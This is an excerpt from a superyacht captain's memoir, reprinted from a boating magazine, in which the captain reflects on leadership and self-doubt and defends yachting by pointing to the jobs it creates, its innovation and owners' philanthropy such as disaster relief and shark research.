Like many who set a goal and then spend a long time achieving it, my view from the captain’s chair was very different from the one I had when I gazed upon it from a distance. I thought that as a captain my self-doubt would recede and through the power of the title and my errors would decrease. Unfortunately, both increased. There were times when, trying to be the captain I had long wanted to be, that an observer might perceive from my manner a confidence bordering on arrogance. It wasn’t. Any outward show of confidence was my placing a shield between what I was really feeling and what was visible. I want people to realize that most positions that they might aspire to are held by people who don’t think they deserve to be there either. They might just be better at hiding it. My journey is not one of ever-increasing competence in response to circumstance; it is often a scared boy just holding on. Another goal of this book is to pull the curtain back on how fine the line is between success and failure; safety and catastrophe. This is my lived truth, but I think it is far more common than many ‘leader’s memories’ would have readers believe.

Nobility of Purpose

There is a gorilla in the room throughout my yachting career. What is the nobility of purpose when I speak of yachts in the hundreds of millions, operating budgets in the tens of millions and guests flying around the world in private jets to join them for the sole purpose of leisure? ‘Nobody needs a yacht.’

This was said by Jon Bannenberg, one of the most influential of modern yacht designers. If even he is saying this, what hope do I have in justifying my chosen career in the face of environmental concerns and a world challenged by gaping wealth disparity? I am not here to defend yachting, and nor am I going to allow yachting to stand at the whipping post when the global community finds a conscience.

Although I don’t lean too heavily on the ‘trickle down economics’ defense that is often used with yachting, there are thousands of jobs at sea and ashore reliant on yachts. Normal people, working each day to live and support their families, to develop skills and to grow through their careers. Additional to the people are the yachts themselves. Yachts are the leading edge of technological innovation at sea, a chance to try non-commercially viable projects that in time may improve the efficiency of global shipping. The Formula 1 of the seagoing communities.

Don’t hold your breath for the movie—producers couldn’t afford it. Instead find your copy of Superyacht Captain Life and Leadership in the World’s Most Incredible Industry on Amazon—or adorning the mahogany and marble coffee tables of the world’s most spectacular ships.

Sitting atop the yachts and those that work within them are the billionaires funding the adventure. All those I have supported in my career undertake philanthropy and legacy projects. These may involve the environment, social justice, medical research or more. They rarely if ever seek media recognition for these projects. I worked for an English billionaire who retained two medical researchers for the sole purpose of reviewing the submissions he received for funding. Another tech billionaire funded the ‘Oscars of Science’ to promote academic excellence. Yet another funds the world’s largest marine protected area.

One yacht I had the privilege to command was very capable, carrying large boats with cranes of up to 20 tonnes. After a hurricane hit the outer Bahamas, the yacht’s owner released his yacht for several weeks to support disaster relief efforts: we saved lives and helped a vanquished community get back on their feet with essential supplies. The only provision from the yacht owner was that it was to be done anonymously. Likewise, with another yacht in the Indian Ocean, we supported Stanford University’s Marine Science Station. I and the crew tagged more sharks than ever before in the history of this large ocean. The data from this project moved marine biologists forward a decade from their previous goals.

I have had many life and career inflections and maybe I could have delivered more to the global good if I had never stepped on a superyacht, but I did, and I am proud that I did.

This story has been excerpted from “Superyacht Captain, Life and Leadership in the World’s Most Incredible Industry”. It is available on Amazon and everywhere books are sold.

View the original article to see embedded media.

This article originally appeared in the April 2023 issue of Power & Motoryacht magazine.

 

Leave a Reply

Your email address will not be published. Required fields are marked *

Generated by Feedzy